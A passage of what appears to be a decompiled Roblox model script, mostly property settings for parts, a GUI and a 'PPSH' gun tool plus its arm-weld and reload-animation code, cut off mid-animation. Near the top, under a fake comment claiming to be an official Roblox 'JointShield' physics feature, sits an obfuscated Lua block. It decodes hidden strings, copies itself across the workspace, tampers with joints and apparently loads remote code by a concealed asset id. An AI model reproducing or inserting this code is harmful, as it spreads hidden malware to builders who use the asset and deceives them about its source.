- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Part99.Parent = Model92
- Part99.CFrame = CFrame.new(137.088898, 5.50011778, -131.606964, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part99.Orientation = Vector3.new(0, 179.559998, 0)
- Part99.Position = Vector3.new(137.088898, 5.50011778, -131.606964)
- Part99.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part99.Color = Color3.new(0.501961, 0.733333, 0.858824)
- Part99.Transparency = 0.69999998807907
- Part99.Size = Vector3.new(8.44001007, 2.30999947, 0.390000224)
- Part99.Anchored = true
- Part99.BottomSurface = Enum.SurfaceType.Smooth
- Part99.BrickColor = BrickColor.new("Pastel Blue")
- Part99.Material = Enum.Material.SmoothPlastic
- Part99.TopSurface = Enum.SurfaceType.Smooth
- Part99.brickColor = BrickColor.new("Pastel Blue")
- Part100.Parent = Model92
- Part100.CFrame = CFrame.new(137.029053, 5.12687492, -132.427612, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part100.Orientation = Vector3.new(0, 179.559998, 0)
- Part100.Position = Vector3.new(137.029053, 5.12687492, -132.427612)
- Part100.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part100.Color = Color3.new(0.627451, 0.372549, 0.207843)
- Part100.Size = Vector3.new(8.6499958, 0.140000001, 1.29000044)
- Part100.Anchored = true
- Part100.BottomSurface = Enum.SurfaceType.Smooth
- Part100.BrickColor = BrickColor.new("Dark orange")
- Part100.Material = Enum.Material.Wood
- Part100.TopSurface = Enum.SurfaceType.Smooth
- Part100.brickColor = BrickColor.new("Dark orange")
- Model101.Parent = Model92
- Part102.Parent = Model22
- Part102.CFrame = CFrame.new(133.135895, 8.68620205, -117.917633, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part102.Orientation = Vector3.new(0, 179.559998, 0)
- Part102.Position = Vector3.new(133.135895, 8.68620205, -117.917633)
- Part102.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part102.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part102.Size = Vector3.new(1.81000006, 1.99999976, 0.150000215)
- Part102.Anchored = true
- Part102.BottomSurface = Enum.SurfaceType.Smooth
- Part102.BrickColor = BrickColor.new("Institutional white")
- Part102.TopSurface = Enum.SurfaceType.Smooth
- Part102.brickColor = BrickColor.new("Institutional white")
- Decal103.Parent = Part102
- Decal103.Texture = "http://www.roblox.com/asset/?id=1352476745"
- Part104.Parent = Model22
- Part104.CFrame = CFrame.new(135.226196, 1.05180395, -111.380493, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part104.Orientation = Vector3.new(0, 179.559998, 0)
- Part104.Position = Vector3.new(135.226196, 1.05180395, -111.380493)
- Part104.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part104.Size = Vector3.new(8.61000919, 1.19000006, 0.740001261)
- Part104.Anchored = true
- Part104.BottomSurface = Enum.SurfaceType.Smooth
- Part104.Material = Enum.Material.Concrete
- Part104.TopSurface = Enum.SurfaceType.Smooth
- Model105.Parent = Model22
- Tool106.Name = "PPSH"
- Tool106.Parent = Model105
- Tool106.Grip = CFrame.new(0.699999988, 0.300000012, 0, 0.000233780593, -0.500580788, -0.865689754, 0.000139272903, 0.865689814, -0.500580788, 1, -3.54106396e-06, 0.000272098812)
- Tool106.GripForward = Vector3.new(0.865689754, 0.500580788, -0.000272098812)
- Tool106.GripPos = Vector3.new(0.699999988, 0.300000012, 0)
- Tool106.GripRight = Vector3.new(0.000233780593, 0.000139272903, 1)
- Tool106.GripUp = Vector3.new(-0.500580788, 0.865689814, -3.54106396e-06)
- Tool106.ToolTip = "Credits: Rufusshinra4 for scripts, generally everyone else for models used."
- GuiMain107.Name = "GunGUI"
- GuiMain107.Parent = Tool106
- Frame108.Name = "Main"
- Frame108.Parent = GuiMain107
- Frame108.Position = UDim2.new(1, -250, 1, -100)
- Frame108.Size = UDim2.new(0, 120, 0, 75)
- Frame108.BackgroundColor = BrickColor.new("Institutional white")
- Frame108.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame108.BackgroundTransparency = 1
- Frame108.BorderSizePixel = 0
- Frame108.ZIndex = 2
- TextLabel109.Name = "Ammo"
- TextLabel109.Parent = Frame108
- TextLabel109.Position = UDim2.new(0.25, 0, 0, 20)
- TextLabel109.Size = UDim2.new(0.5, 0, 0.5, 0)
- TextLabel109.BackgroundColor = BrickColor.new("Institutional white")
- TextLabel109.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel109.BackgroundTransparency = 1
- TextLabel109.Font = Enum.Font.SourceSansBold
- TextLabel109.FontSize = Enum.FontSize.Size36
- TextLabel109.Text = "[AMMO]"
- TextLabel109.TextColor = BrickColor.new("Institutional white")
- TextLabel109.TextColor3 = Color3.new(1, 1, 1)
- TextLabel109.TextSize = 36
- TextLabel109.TextStrokeTransparency = 0.80000001192093
- Frame110.Name = "Borders"
- Frame110.Parent = Frame108
- Frame110.Size = UDim2.new(1, 0, 1, 0)
- Frame110.BackgroundColor = BrickColor.new("Institutional white")
- Frame110.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame110.BackgroundTransparency = 1
- Frame110.ZIndex = 2
- TextLabel111.Name = ""
- TextLabel111.Parent = Frame108
- TextLabel111.Position = UDim2.new(0.25, 0, 0, -20)
- TextLabel111.Size = UDim2.new(0.5, 0, 0.5, 0)
- TextLabel111.BackgroundColor = BrickColor.new("Institutional white")
- TextLabel111.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel111.BackgroundTransparency = 1
- TextLabel111.Font = Enum.Font.SourceSansBold
- TextLabel111.FontSize = Enum.FontSize.Size36
- TextLabel111.Text = "PPSH"
- TextLabel111.TextColor = BrickColor.new("Institutional white")
- TextLabel111.TextColor3 = Color3.new(1, 1, 1)
- TextLabel111.TextSize = 36
- TextLabel111.TextStrokeTransparency = 0.80000001192093
- TextLabel112.Name = ""
- TextLabel112.Parent = Frame108
- TextLabel112.Position = UDim2.new(0.25, 0, 0, 50)
- TextLabel112.Size = UDim2.new(0.5, 0, 0.5, 0)
- TextLabel112.BackgroundColor = BrickColor.new("Institutional white")
- TextLabel112.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel112.BackgroundTransparency = 1
- TextLabel112.Font = Enum.Font.SourceSansBold
- TextLabel112.FontSize = Enum.FontSize.Size18
- TextLabel112.Text = "Produced by the Soviet Motherland"
- TextLabel112.TextColor = BrickColor.new("Institutional white")
- TextLabel112.TextColor3 = Color3.new(1, 1, 1)
- TextLabel112.TextSize = 18
- TextLabel112.TextStrokeTransparency = 0.80000001192093
- ImageLabel113.Name = "Hit"
- ImageLabel113.Parent = GuiMain107
- ImageLabel113.Position = UDim2.new(0, 938, 0, 198)
- ImageLabel113.Visible = false
- ImageLabel113.Size = UDim2.new(0, 45, 0, 45)
- ImageLabel113.BackgroundColor = BrickColor.new("Really black")
- ImageLabel113.BackgroundColor3 = Color3.new(0, 0, 0)
- ImageLabel113.BackgroundTransparency = 1
- ImageLabel113.BorderColor = BrickColor.new("Really black")
- ImageLabel113.BorderColor3 = Color3.new(0, 0, 0)
- ImageLabel113.BorderSizePixel = 0
- ImageLabel113.Image = "http://www.roblox.com/asset/?id=131358529"
- Part114.Name = "Barrel"
- Part114.Parent = Tool106
- Part114.CFrame = CFrame.new(135.141159, 6.23034477, -132.655182, -0.0689780265, -0.996023357, -0.0563882776, -0.99761349, 0.0690419301, 0.000816400803, 0.00308000133, 0.0563100241, -0.998408556)
- Part114.Orientation = Vector3.new(-0.0500000007, -176.770004, -86.0400009)
- Part114.Position = Vector3.new(135.141159, 6.23034477, -132.655182)
- Part114.Rotation = Vector3.new(-179.949997, -3.23000002, 93.9599991)
- Part114.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part114.Transparency = 1
- Part114.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part114.Anchored = true
- Part114.BrickColor = BrickColor.new("Really black")
- Part114.CanCollide = false
- Part114.brickColor = BrickColor.new("Really black")
- Part114.FormFactor = Enum.FormFactor.Custom
- Part114.formFactor = Enum.FormFactor.Custom
- SpotLight115.Name = "Light"
- SpotLight115.Parent = Part114
- SpotLight115.Color = Color3.new(0.666667, 0, 0)
- SpotLight115.Enabled = false
- SpotLight115.Face = Enum.NormalId.Bottom
- SpotLight115.Range = 15
- SpotLight115.Brightness = 2
- SpotLight115.Angle = 148
- CylinderMesh116.Parent = Part114
- CylinderMesh116.Scale = Vector3.new(0.400000006, 0.100000001, 1)
- BillboardGui117.Name = "GUI"
- BillboardGui117.Parent = Part114
- BillboardGui117.Enabled = false
- BillboardGui117.Size = UDim2.new(2, 0, 2, 0)
- ImageLabel118.Name = "Flash"
- ImageLabel118.Parent = BillboardGui117
- ImageLabel118.Size = UDim2.new(1, 1, 1, 1)
- ImageLabel118.BackgroundTransparency = 1
- ImageLabel118.BorderSizePixel = 0
- ImageLabel118.ClipsDescendants = true
- ImageLabel118.Image = "http://www.roblox.com/asset/?id=68683102"
- LocalScript119.Name = "Gun"
- LocalScript119.Parent = Tool106
- table.insert(cors,sandbox(LocalScript119,function()
- local player = game.Players.LocalPlayer
- local backpack, playergui = player:WaitForChild("Backpack"), player:WaitForChild("PlayerGui")
- repeat wait(0.1) until player.Character
- local char, camera = player.Character, workspace.CurrentCamera
- local tool = script.Parent
- local handle = tool:WaitForChild("Handle")
- local barrel= tool:WaitForChild("Barrel")
- local GunGUI = tool:WaitForChild("GunGUI")
- local create = assert(LoadLibrary("RbxUtility")).Create
- local storage = game:GetService("ReplicatedStorage")
- local debris = game:GetService("Debris")
- local cframe, cframeXYZ, vector = CFrame.new, CFrame.fromEulerAnglesXYZ, Vector3.new
- local arms = {
- Left = cframe(-0.249, 1.35, 0.6) * cframeXYZ(math.rad(290), 0, math.rad(-90)),
- Right = cframe(-0.7, 0.4, 0.35) * cframeXYZ(math.rad(-90),math.rad(-5),math.rad(0)),}
- local cursor = {
- Standard = "rbxasset://textures/GunCursor.png",
- }
- local creator = create("ObjectValue"){Name = "creator", Value = player}
- local laser = create("Part"){Name = "Ray", Anchored = true, CanCollide = false, formFactor = 0, Size = vector(1, 1, 1), BrickColor = BrickColor.new("Bright red"), Reflectance = 0.2, Transparency = 0.25}
- local mesh = create("BlockMesh"){Parent = laser, Name = "Mesh", Scale = Vector3.new(0.15, 0.15, 1)}
- local armToggle = char:FindFirstChild("armToggle") and char.armToggle or create("BoolValue"){Parent = char, Name = "armToggle"}
- local fireMode = "Auto" -- Auto/Semi/Shotgun
- local clip = 70
- local spread = 3 -- In studs
- local firerate = 0.0
- local damage =(10)
- local mag = clip
- local teamkill = false
- local equipped = false
- local mouseDown = false
- local reloading = false
- local canFire = true
- local firing = false
- local crouch = false
- -----------------------------------------------------------------------------------------------------------
- if tool:FindFirstChild("used") then
- mag = 0
- else
- create("ObjectValue"){Name = "used", Parent = tool}
- end
- local welding = {}
- welding.Weld = create("Weld"){}
- local leftCrouchWeld, rightCrouchWeld = create("Weld"){}, create("Weld"){}
- function welding.SetArms(bool)
- local torso = char:FindFirstChild("Torso")
- local leftS, rightS = torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")
- local left, right = char:FindFirstChild("Left Arm"), char:FindFirstChild("Right Arm")
- if bool then
- leftS.Part1, rightS.Part1 = nil, nil
- leftWeld = welding.Weld:Clone()
- leftWeld.Name = "Weld1"; leftWeld.Part0 = torso; leftWeld.Part1 = left; leftWeld.C1 = arms.Left; leftWeld.Parent = torso
- rightWeld = welding.Weld:Clone()
- rightWeld.Name = "Weld2"; rightWeld.Part0 = torso; rightWeld.Part1 = right; rightWeld.C1 = arms.Right; rightWeld.Parent = torso
- print("welded arms!")
- FakeLeftArm, FakeRightArm = left:Clone(), right:Clone()
- FakeLeftArm:ClearAllChildren()
- FakeLeftArm.Name = "FakeLeftArm"
- FakeLeftArm.FormFactor = "Custom"
- FakeLeftArm.Size = Vector3.new(0.9, 1.75, 0.9)
- FakeLeftArm.Transparency = 0.6
- FakeLeftArm.Parent = tool
- local flaWeld = welding.Weld:Clone()
- flaWeld.Parent = FakeLeftArm; flaWeld.Part0 = left; flaWeld.Part1 = FakeLeftArm
- FakeRightArm.Name = "FakeRightArm"
- FakeRightArm:ClearAllChildren()
- FakeRightArm.FormFactor = "Custom"
- FakeRightArm.Size = Vector3.new(0.9, 1.75, 0.9)
- FakeRightArm.Transparency = 0.6
- FakeRightArm.Parent = tool
- local fraWeld = welding.Weld:Clone()
- fraWeld.Parent = FakeRightArm; fraWeld.Part0 = right; fraWeld.Part1 = FakeRightArm
- print("fake arms created!")
- else
- leftS.Part1, rightS.Part1 = left, right
- if leftWeld and rightWeld then
- leftWeld:Destroy()
- rightWeld:Destroy()
- end
- if FakeLeftArm and FakeRightArm then
- FakeLeftArm:Destroy()
- FakeRightArm:Destroy()
- end
- end
- end
- function welding.Default(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local Left = char.Torso:FindFirstChild("Weld1")
- local Right = char.Torso:FindFirstChild("Weld2")
- Left.C1 = arms.Left
- Right.C1 = arms.Right
- char.Humanoid.WalkSpeed = 16
- end
- end
- function welding.Holster(...)
- local left = char.Torso:FindFirstChild("Weld1")
- local right = char.Torso:FindFirstChild("Weld2")
- right.C1 = right.C1 * CFrame.Angles(math.pi/6, -math.pi/6, 0) * CFrame.new(-0.5, 0.1, 0)
- left.C1 = left.C1 * CFrame.Angles(math.pi/6, 0, 0) * CFrame.new(0.5, -0.5, -0.5)
- end
- function welding.Crouch(bool)
- if bool then
- if char:FindFirstChild('Left Leg') and char:findFirstChild('Right Leg') and char:findFirstChild('HumanoidRootPart') and char.HumanoidRootPart:findFirstChild('RootJoint') and char.Torso and char.Torso:findFirstChild('Left Hip') and char.Torso:findFirstChild('Right Hip') then
- char.Torso['Right Hip'].Part1 = nil
- char.Torso['Left Hip'].Part1 = nil
- char.HumanoidRootPart.RootJoint.C1 = CFrame.new(0,1,0)*CFrame.Angles(math.rad(90),math.rad(180),0)
- leftCrouchWeld.Part0 = char.Torso leftCrouchWeld.Parent = char.Torso leftCrouchWeld.Part1 = char['Left Leg']
- rightCrouchWeld.Part0 = char.Torso rightCrouchWeld.Parent = char.Torso rightCrouchWeld.Part1 = char['Right Leg']
- leftCrouchWeld.C1 = CFrame.new(.5,.5,1.5)*CFrame.Angles(math.rad(90),0,0)
- rightCrouchWeld.C1 = CFrame.new(-.55,1.3,.5)*CFrame.Angles(math.rad(-15),0,0)
- end
- else
- if char:findFirstChild('Left Leg') and char:findFirstChild('Right Leg') and char:findFirstChild('HumanoidRootPart') and char.HumanoidRootPart:findFirstChild('RootJoint') and char.Torso and char.Torso:findFirstChild('Left Hip') and char.Torso:findFirstChild('Right Hip') then
- char.Torso['Right Hip'].Part1 = char['Right Leg']
- char.Torso['Left Hip'].Part1 = char['Left Leg']
- char.HumanoidRootPart.RootJoint.C1 = CFrame.new(0,0,0)*CFrame.Angles(math.rad(90),math.rad(180),0)
- leftCrouchWeld.Parent = nil rightCrouchWeld.Parent = nil
- end
- end
- end
- local arCooldown = 0.09
- function welding.Animations(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-93), math.rad(-16), 0)
- wait(.04)
- weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-96), math.rad(-16), 0)
- weld55.C1 = CFrame.new(-0.35, 1.3, 0.58) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- wait(.04)
- weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-99), math.rad(-16), 0)
- weld55.C1 = CFrame.new(-0.35, 1.2, 0.56) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 1.1, 0.54) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 1, 0.52) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.9, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.8, 0.48) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.05, math.rad(-90))
- script.Parent.Mag.Transparency = 1
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.1, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.15, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.2, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.25, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.3, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.35, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.4, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.45, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.5, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.55, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.6, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.65, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.7, math.rad(-90))
- wait(.02)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.75, math.rad(-90))
- wait(.2)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.8, math.rad(-90))
- script.Parent.Mag.Transparency = 0
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.88, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.75, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.825, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.7, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.77, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.65, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.715, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.6, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.66, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.55, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.605, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.5, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.55, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.45, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.495, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.4, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.44, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.35, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.385, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.3, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.33, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.25, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.275, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.2, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.22, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.15, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.165, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.1, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.11, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), -0.05, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, -0.055, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.7, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- script.Parent.Mag.Mesh.Offset = Vector3.new(0, 0, 0)
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.725, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.05, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.75, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.1, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.775, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.15, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.8, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.2, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.825, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.25, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.85, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.3, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.875, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.35, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.9, 0.46) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.4, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 0.95, 0.47) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.4, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 1, 0.48) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.4, math.rad(-90))
- wait(.03)
- weld55.C1 = CFrame.new(-0.35, 1.05, 0.49) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.4, math.rad(-90))
- wait(.03)
